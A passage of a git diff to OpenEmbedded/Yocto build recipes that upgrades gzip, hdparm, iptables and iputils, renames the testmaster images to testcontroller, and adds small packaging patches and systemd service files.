- mkdir -p ${D}${PTEST_PATH}/src/tests
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/src/tests
- sed -e 's/^abs_srcdir = ..*/abs_srcdir = \.\./' \
- -e 's/^top_srcdir = ..*/top_srcdir = \.\./' \
- -e 's/^GREP = ..*/GREP = grep/' \
- -e 's/^AWK = ..*/AWK = awk/' \
- -e 's/^srcdir = ..*/srcdir = \./' \
- -e 's/^Makefile: ..*/Makefile: /' \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
-}
-
-SRC_URI[md5sum] = "cf9ee51aff167ff69844d5d7d71c8b20"
-SRC_URI[sha256sum] = "c91f74430bf7bc20402e1f657d0b252cb80aa66ba333a25704512af346633c68"
diff --git a/meta/recipes-extended/gzip/gzip_1.11.bb b/meta/recipes-extended/gzip/gzip_1.11.bb
new file mode 100644
index 0000000000..321c9c31a4
--- /dev/null
+++ b/meta/recipes-extended/gzip/gzip_1.11.bb
@@ -0,0 +1,41 @@
+require gzip.inc
+
+# change to GPL-3.0-or-later in 2007/07. Previous GPL-2.0-or-later version is
+# 1.3.12
+LICENSE = "GPL-3.0-or-later"
+
+SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI:append:class-target = " file://wrong-path-fix.patch"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
+
+PROVIDES:append:class-native = " gzip-replacement-native"
+
+RDEPENDS:${PN}-ptest += "make perl grep diffutils"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/src/build-aux
+ cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/src/build-aux/
+ mkdir -p ${D}${PTEST_PATH}/src/tests
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/src/tests
+ sed -e 's/^abs_srcdir = ..*/abs_srcdir = \.\./' \
+ -e 's/^top_srcdir = ..*/top_srcdir = \.\./' \
+ -e 's/^GREP = ..*/GREP = grep/' \
+ -e 's/^AWK = ..*/AWK = awk/' \
+ -e 's/^srcdir = ..*/srcdir = \./' \
+ -e 's/^Makefile: ..*/Makefile: /' \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
+}
+
+SRC_URI[sha256sum] = "3e8a0e0c45bad3009341dce17d71536c4c655d9313039021ce7554a26cd50ed9"
diff --git a/meta/recipes-extended/hdparm/hdparm_9.58.bb b/meta/recipes-extended/hdparm/hdparm_9.58.bb
deleted file mode 100644
index e47dedae89..0000000000
--- a/meta/recipes-extended/hdparm/hdparm_9.58.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Utility for viewing/manipulating IDE disk drive/driver parameters"
-HOMEPAGE = "http://sourceforge.net/projects/hdparm/"
-DESCRIPTION = "hdparm is a Linux shell utility for viewing \
-and manipulating various IDE drive and driver parameters."
-SECTION = "console/utils"
-
-LICENSE = "BSD & GPLv2"
-LICENSE_${PN} = "BSD"
-LICENSE_${PN}-dbg = "BSD"
-LICENSE_wiper = "GPLv2"
-
-LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
- file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
- file://wiper/GPLv2.txt;md5=fcb02dc552a041dee27e4b85c7396067 \
- file://wiper/wiper.sh;beginline=7;endline=31;md5=b7bc642addc152ea307505bf1a296f09"
-
-
-PACKAGES =+ "wiper"
-
-FILES_wiper = "${bindir}/wiper.sh"
-
-RDEPENDS_wiper = "bash gawk coreutils"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
- file://wiper.sh-fix-stat-path.patch \
- "
-
-SRC_URI[md5sum] = "4652c49cf096a64683c05f54b4fa4679"
-SRC_URI[sha256sum] = "9ae78e883f3ce071d32ee0f1b9a2845a634fc4dd94a434e653fdbef551c5e10f"
-
-EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
-
-inherit update-alternatives
-
-ALTERNATIVE_${PN} = "hdparm"
-ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install () {
- install -d ${D}/${base_sbindir} ${D}/${mandir}/man8 ${D}/${bindir}
- oe_runmake 'DESTDIR=${D}' 'sbindir=${base_sbindir}' install
- cp ${S}/wiper/wiper.sh ${D}/${bindir}
-}
diff --git a/meta/recipes-extended/hdparm/hdparm_9.63.bb b/meta/recipes-extended/hdparm/hdparm_9.63.bb
new file mode 100644
index 0000000000..7900a310a3
--- /dev/null
+++ b/meta/recipes-extended/hdparm/hdparm_9.63.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Utility for viewing/manipulating IDE disk drive/driver parameters"
+HOMEPAGE = "http://sourceforge.net/projects/hdparm/"
+DESCRIPTION = "hdparm is a Linux shell utility for viewing \
+and manipulating various IDE drive and driver parameters."
+SECTION = "console/utils"
+
+LICENSE = "BSD-2-Clause & GPL-2.0-only & hdparm"
+LICENSE:${PN} = "BSD-2-Clause & hdparm"
+LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm"
+LICENSE:wiper = "GPL-2.0-only"
+NO_GENERIC_LICENSE[hdparm] = "LICENSE.TXT"
+
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
+ file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
+ file://wiper/GPLv2.txt;md5=fcb02dc552a041dee27e4b85c7396067 \
+ file://wiper/wiper.sh;beginline=7;endline=31;md5=b7bc642addc152ea307505bf1a296f09"
+
+
+PACKAGES =+ "wiper"
+
+FILES:wiper = "${bindir}/wiper.sh"
+
+RDEPENDS:wiper = "bash gawk coreutils"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
+ file://wiper.sh-fix-stat-path.patch \
+ "
+
+SRC_URI[sha256sum] = "70785deaebba5877a89c123568b41dee990da55fc51420f13f609a1072899691"
+
+EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
+
+inherit update-alternatives
+
+ALTERNATIVE:${PN} = "hdparm"
+ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install () {
+ install -d ${D}/${base_sbindir} ${D}/${mandir}/man8 ${D}/${bindir}
+ oe_runmake 'DESTDIR=${D}' 'sbindir=${base_sbindir}' install
+ cp ${S}/wiper/wiper.sh ${D}/${bindir}
+}
diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb
index 4d16da1ea8..4018af7a3a 100644
--- a/meta/recipes-extended/images/core-image-kernel-dev.bb
+++ b/meta/recipes-extended/images/core-image-kernel-dev.bb
@@ -15,7 +15,7 @@ CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \
"
# We need extra space for things like kernel builds, etc.
-IMAGE_ROOTFS_EXTRA_SPACE_append = " + 3000000"
+IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000"
# Let's define our own subset to test, we can later add a on-target kernel build even!
DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs"
diff --git a/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
new file mode 100644
index 0000000000..2bc035a538
--- /dev/null
+++ b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
@@ -0,0 +1,24 @@
+DESCRIPTION = "Small image capable of booting a device with custom install scripts, \
+adding a second rootfs, used for testing."
+
+# use -testfs live-install scripts
+PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-live-install-efi-testfs busybox udev base-passwd ${ROOTFS_BOOTSTRAP_INSTALL}"
+
+# Do not pollute the initrd image with rootfs features
+IMAGE_FEATURES = ""
+
+export IMAGE_BASENAME = "core-image-testcontroller-initramfs"
+IMAGE_NAME_SUFFIX ?= ""
+IMAGE_LINGUAS = ""
+
+LICENSE = "MIT"
+
+IMAGE_FSTYPES = "${INITRAMFS_FSTYPES}"
+inherit core-image
+
+IMAGE_ROOTFS_SIZE = "8192"
+IMAGE_ROOTFS_EXTRA_SPACE = "0"
+BAD_RECOMMENDATIONS += "busybox-syslog"
+
+# Use the same restriction as initramfs-live-install-testfs
+COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-extended/images/core-image-testcontroller.bb b/meta/recipes-extended/images/core-image-testcontroller.bb
new file mode 100644
index 0000000000..20edbd5630
--- /dev/null
+++ b/meta/recipes-extended/images/core-image-testcontroller.bb
@@ -0,0 +1,18 @@
+DESCRIPTION = "A test controller image to be deployed on a target useful for testing other images using the OEQA runtime tests"
+
+IMAGE_FEATURES += "ssh-server-openssh package-management"
+
+inherit core-image
+
+# the deploy code requires bash and
+# normal linux utilities not busybox ones
+IMAGE_INSTALL += "\
+ bash coreutils util-linux tar gzip bzip2 kmod \
+ python3-modules python3-misc \
+ e2fsprogs e2fsprogs-mke2fs parted \
+ "
+# we need a particular initramfs for live images
+# that pulls custom install scripts which take
+# care of partitioning for us
+INITRD_IMAGE = "core-image-testcontroller-initramfs"
+
diff --git a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb b/meta/recipes-extended/images/core-image-testmaster-initramfs.bb
deleted file mode 100644
index 09a6d16042..0000000000
--- a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-DESCRIPTION = "Small image capable of booting a device with custom install scripts, \
-adding a second rootfs, used for testing."
-
-# use -testfs live-install scripts
-PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-live-install-efi-testfs busybox udev base-passwd ${ROOTFS_BOOTSTRAP_INSTALL}"
-
-# Do not pollute the initrd image with rootfs features
-IMAGE_FEATURES = ""
-
-export IMAGE_BASENAME = "core-image-testmaster-initramfs"
-IMAGE_LINGUAS = ""
-
-LICENSE = "MIT"
-
-IMAGE_FSTYPES = "${INITRAMFS_FSTYPES}"
-inherit core-image
-
-IMAGE_ROOTFS_SIZE = "8192"
-IMAGE_ROOTFS_EXTRA_SPACE = "0"
-BAD_RECOMMENDATIONS += "busybox-syslog"
-
-# Use the same restriction as initramfs-live-install-testfs
-COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-extended/images/core-image-testmaster.bb b/meta/recipes-extended/images/core-image-testmaster.bb
deleted file mode 100644
index 78295c5f0a..0000000000
--- a/meta/recipes-extended/images/core-image-testmaster.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-DESCRIPTION = "A master image to be deployed on a target useful for testing other images"
-
-IMAGE_FEATURES += "ssh-server-openssh package-management"
-
-inherit core-image
-
-# the deploy code requires bash and
-# normal linux utilities not busybox ones
-IMAGE_INSTALL += "\
- bash coreutils util-linux tar gzip bzip2 kmod \
- python-modules python-misc \
- e2fsprogs e2fsprogs-mke2fs parted \
- "
-# we need a particular initramfs for live images
-# that pulls custom install scripts which take
-# care of partitioning for us
-INITRD_IMAGE = "core-image-testmaster-initramfs"
-
diff --git a/meta/recipes-extended/iptables/iptables/0001-Makefile.am-do-not-install-etc-ethertypes.patch b/meta/recipes-extended/iptables/iptables/0001-Makefile.am-do-not-install-etc-ethertypes.patch
new file mode 100644
index 0000000000..aa51265822
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/0001-Makefile.am-do-not-install-etc-ethertypes.patch
@@ -0,0 +1,40 @@
+From a4ed9fc8da720585f853d2ca6ffd30e2fa4d1247 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <trevor.gamblin@windriver.com>
+Date: Wed, 9 Mar 2022 12:50:39 -0500
+Subject: [PATCH] Makefile.am: do not install /etc/ethertypes
+
+The /etc/ethertypes is provided by netbase since 6.0[1].
+Do not instal the file in ebtables, otherwise there would be a conflict:
+Error: Transaction test error:
+ file /etc/ethertypes conflicts between attempted installs of
+netbase-1:6.2-r0.corei7_64 and iptables-1.8.7-r0.corei7_64
+
+[1]
+https://salsa.debian.org/md/netbase/-/commit/316680c6a2c3641b6abc76b3eebf88781f609d35)
+
+This patch is based off of the same change made for the ebtables recipe:
+
+http://cgit.openembedded.org/meta-openembedded/tree/meta-networking/recipes-filter/ebtables/ebtables-2.0.11/0001-Makefile.am-do-not-install-etc-ethertypes.patch?h=master
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
+---
+ Makefile.am | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 799bf8b8..2eb1843f 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -18,7 +18,6 @@ SUBDIRS += iptables
+
+ if ENABLE_NFTABLES
+ confdir = $(sysconfdir)
+-dist_conf_DATA = etc/ethertypes
+ endif
+
+ .PHONY: tarball
+--
+2.35.1
+
diff --git a/meta/recipes-extended/iptables/iptables/ip6tables.rules b/meta/recipes-extended/iptables/iptables/ip6tables.rules
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/ip6tables.rules
diff --git a/meta/recipes-extended/iptables/iptables/ip6tables.service b/meta/recipes-extended/iptables/iptables/ip6tables.service
new file mode 100644
index 0000000000..6c059fca49
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/ip6tables.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=IPv6 Packet Filtering Framework
+Before=network-pre.target
+Wants=network-pre.target
+
+[Service]
+Type=oneshot
+ExecStart=@SBINDIR@/ip6tables-restore -w -- @RULESDIR@/ip6tables.rules
+ExecReload=@SBINDIR@/ip6tables-restore -w -- @RULESDIR@/ip6tables.rules
+RemainAfterExit=yes
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-extended/iptables/iptables/iptables.service b/meta/recipes-extended/iptables/iptables/iptables.service
index 041316e457..0eb3c343de 100644
--- a/meta/recipes-extended/iptables/iptables/iptables.service
+++ b/meta/recipes-extended/iptables/iptables/iptables.service
@@ -1,12 +1,12 @@
[Unit]
-Description=Packet Filtering Framework
+Description=IPv4 Packet Filtering Framework
Before=network-pre.target
Wants=network-pre.target
[Service]
Type=oneshot
-ExecStart=@SBINDIR@/iptables-restore /etc/iptables/iptables.rules
-ExecReload=@SBINDIR@/iptables-restore /etc/iptables/iptables.rules
+ExecStart=@SBINDIR@/iptables-restore -w -- @RULESDIR@/iptables.rules
+ExecReload=@SBINDIR@/iptables-restore -w -- @RULESDIR@/iptables.rules
RemainAfterExit=yes
[Install]
diff --git a/meta/recipes-extended/iptables/iptables_1.8.3.bb b/meta/recipes-extended/iptables/iptables_1.8.3.bb
deleted file mode 100644
index ff9fcb1b53..0000000000
--- a/meta/recipes-extended/iptables/iptables_1.8.3.bb
+++ /dev/null
@@ -1,86 +0,0 @@
-SUMMARY = "Tools for managing kernel packet filtering capabilities"
-DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
-filtering code in Linux."
-HOMEPAGE = "http://www.netfilter.org/"
-BUGTRACKER = "http://bugzilla.netfilter.org/"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263\
- file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc"
-
-SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \
- file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
- file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
- file://iptables.service \
- file://iptables.rules \
-"
-
-SRC_URI[md5sum] = "29de711d15c040c402cf3038c69ff513"
-SRC_URI[sha256sum] = "a23cac034181206b4545f4e7e730e76e08b5f3dd78771ba9645a6756de9cdd80"
-
-inherit autotools pkgconfig systemd
-
-EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-# libnfnetlink recipe is in meta-networking layer
-PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
-
-# libnftnl recipe is in meta-networking layer(previously known as libnftables)
-PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
-
-do_configure_prepend() {
- # Remove some libtool m4 files
- # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
- rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
-}
-
-PACKAGES += "${PN}-modules"
-PACKAGES_DYNAMIC += "^${PN}-module-.*"
-
-python populate_packages_prepend() {
- modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
- if modules:
- metapkg = d.getVar('PN') + '-modules'
- d.appendVar('RDEPENDS_' + metapkg, ' ' + ' '.join(modules))
-}
-
-FILES_${PN} += "${datadir}/xtables"
-
-# Include the symlinks as well in respective packages
-FILES_${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
-FILES_${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so"
-
-INSANE_SKIP_${PN}-module-xt-conntrack = "dev-so"
-INSANE_SKIP_${PN}-module-xt-ct = "dev-so"
-
-ALLOW_EMPTY_${PN}-modules = "1"
-
-do_install_append() {
-
- install -d ${D}${sysconfdir}/iptables
- install -m 0644 ${WORKDIR}/iptables.rules ${D}${sysconfdir}/iptables
-
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${WORKDIR}/iptables.service ${D}${systemd_system_unitdir}
-
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/iptables.service
-}
-
-SYSTEMD_SERVICE_${PN} = "iptables.service"
-
-RDEPENDS_${PN} = "${PN}-module-xt-standard"
-RRECOMMENDS_${PN} = " \
- ${PN}-modules \
- kernel-module-x-tables \
- kernel-module-ip-tables \
- kernel-module-iptable-filter \
- kernel-module-iptable-nat \
- kernel-module-nf-defrag-ipv4 \
- kernel-module-nf-conntrack \
- kernel-module-nf-conntrack-ipv4 \
- kernel-module-nf-nat \
- kernel-module-ipt-masquerade \
-"
diff --git a/meta/recipes-extended/iptables/iptables_1.8.7.bb b/meta/recipes-extended/iptables/iptables_1.8.7.bb
new file mode 100644
index 0000000000..839733aaa8
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables_1.8.7.bb
@@ -0,0 +1,111 @@
+SUMMARY = "Tools for managing kernel packet filtering capabilities"
+DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
+filtering code in Linux."
+HOMEPAGE = "http://www.netfilter.org/"
+BUGTRACKER = "http://bugzilla.netfilter.org/"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
+"
+
+SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \
+ file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
+ file://0001-Makefile.am-do-not-install-etc-ethertypes.patch \
+ file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
+ file://iptables.service \
+ file://iptables.rules \
+ file://ip6tables.service \
+ file://ip6tables.rules \
+ "
+SRC_URI[sha256sum] = "c109c96bb04998cd44156622d36f8e04b140701ec60531a10668cfdff5e8d8f0"
+
+SYSTEMD_SERVICE:${PN} = "\
+ iptables.service \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
+"
+
+inherit autotools pkgconfig systemd
+
+EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+# libnfnetlink recipe is in meta-networking layer
+PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
+
+# libnftnl recipe is in meta-networking layer(previously known as libnftables)
+PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
+
+do_configure:prepend() {
+ # Remove some libtool m4 files
+ # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
+ rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
+}
+
+IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
+
+do_install:append() {
+ install -d ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/iptables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/iptables.service
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'true', 'false', d)} ; then
+ install -m 0644 ${WORKDIR}/ip6tables.rules ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/ip6tables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/ip6tables.service
+ fi
+}
+
+PACKAGES =+ "${PN}-modules ${PN}-apply"
+PACKAGES_DYNAMIC += "^${PN}-module-.*"
+
+python populate_packages:prepend() {
+ modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
+ if modules:
+ metapkg = d.getVar('PN') + '-modules'
+ d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules))
+}
+
+RDEPENDS:${PN} = "${PN}-module-xt-standard"
+RRECOMMENDS:${PN} = " \
+ ${PN}-modules \
+ kernel-module-x-tables \
+ kernel-module-ip-tables \
+ kernel-module-iptable-filter \
+ kernel-module-iptable-nat \
+ kernel-module-nf-defrag-ipv4 \
+ kernel-module-nf-conntrack \
+ kernel-module-nf-conntrack-ipv4 \
+ kernel-module-nf-nat \
+ kernel-module-ipt-masquerade \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', '\
+ kernel-module-ip6table-filter \
+ kernel-module-ip6-tables \
+ ', '', d)} \
+"
+
+FILES:${PN} += "${datadir}/xtables"
+
+FILES:${PN}-apply = "${sbindir}/ip*-apply"
+RDEPENDS:${PN}-apply = "${PN} bash"
+
+# Include the symlinks as well in respective packages
+FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
+FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so"
+
+ALLOW_EMPTY:${PN}-modules = "1"
+
+INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so"
+INSANE_SKIP:${PN}-module-xt-ct = "dev-so"
diff --git a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
new file mode 100644
index 0000000000..c61e39dc80
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
@@ -0,0 +1,27 @@
+From dfeeb3f1328d09f516edeb6349bd63e3c87f9397 Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Thu, 13 Feb 2020 06:08:45 +0000
+Subject: [PATCH] rarpd:Drop PrivateUsers
+
+rarpd cannot gain the necessary capabilities with
+PrivateUsers enabled.
+
+Upstream-Status: Pending
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+
+---
+ systemd/rarpd.service.in | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/systemd/rarpd.service.in b/systemd/rarpd.service.in
+index e600c10..f5d7621 100644
+--- a/systemd/rarpd.service.in
++++ b/systemd/rarpd.service.in
+@@ -12,7 +12,6 @@ AmbientCapabilities=CAP_NET_RAW
+ DynamicUser=yes
+ PrivateTmp=yes
+ PrivateDevices=yes
+-PrivateUsers=yes
+ ProtectSystem=strict
+ ProtectHome=yes
+ ProtectControlGroups=yes
diff --git a/meta/recipes-extended/iputils/iputils_20211215.bb b/meta/recipes-extended/iputils/iputils_20211215.bb
new file mode 100644
index 0000000000..3ddce0be54
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils_20211215.bb
@@ -0,0 +1,66 @@
+SUMMARY = "Network monitoring tools"
+DESCRIPTION = "Utilities for the IP protocol, including \
+tracepath, tracepath6, ping, ping6 and arping."
+HOMEPAGE = "https://github.com/iputils/iputils"
+SECTION = "console/network"
+
+LICENSE = "BSD-3-Clause & GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=bb64c89bb0e23b72930d2380894c47a1"
+
+DEPENDS = "gnutls"
+
+SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https \
+ file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \
+ "
+SRCREV = "1d1e7c43210d8af316a41cb2c53d612a4c16f34d"
+
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)"
+
+# Fixed in 2000-10-10, but the versioning of iputils
+# breaks the version order.
+CVE_CHECK_IGNORE += "CVE-2000-1213 CVE-2000-1214"
+
+PACKAGECONFIG ??= "libcap rarpd \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
+PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
+PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
+PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false,"
+PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false,"
+PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_system_unitdir},,systemd"
+PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
+
+inherit meson systemd update-alternatives pkgconfig
+
+EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-rdisc \
+ ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)}"
+PACKAGES += "${SPLITPKGS}"
+
+ALLOW_EMPTY:${PN} = "1"
+RDEPENDS:${PN} += "${SPLITPKGS}"
+
+FILES:${PN} = ""
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-arping = "${base_bindir}/arping"
+FILES:${PN}-tracepath = "${base_bindir}/tracepath"
+FILES:${PN}-clockdiff = "${base_bindir}/clockdiff"
+FILES:${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_system_unitdir}/rarpd@.service"
+FILES:${PN}-rdisc = "${base_sbindir}/rdisc"
+FILES:${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh"
+
+SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \
+ ${PN}-rdisc"
+SYSTEMD_SERVICE:${PN}-ninfod = "ninfod.service"
+SYSTEMD_SERVICE:${PN}-rdisc = "rdisc.service"
diff --git a/meta/recipes-extended/iputils/iputils_s20190709.bb b/meta/recipes-extended/iputils/iputils_s20190709.bb
deleted file mode 100644
index d8f2470d0c..0000000000
--- a/meta/recipes-extended/iputils/iputils_s20190709.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "Network monitoring tools"
-DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \
-tracepath, tracepath6, ping, ping6 and arping."
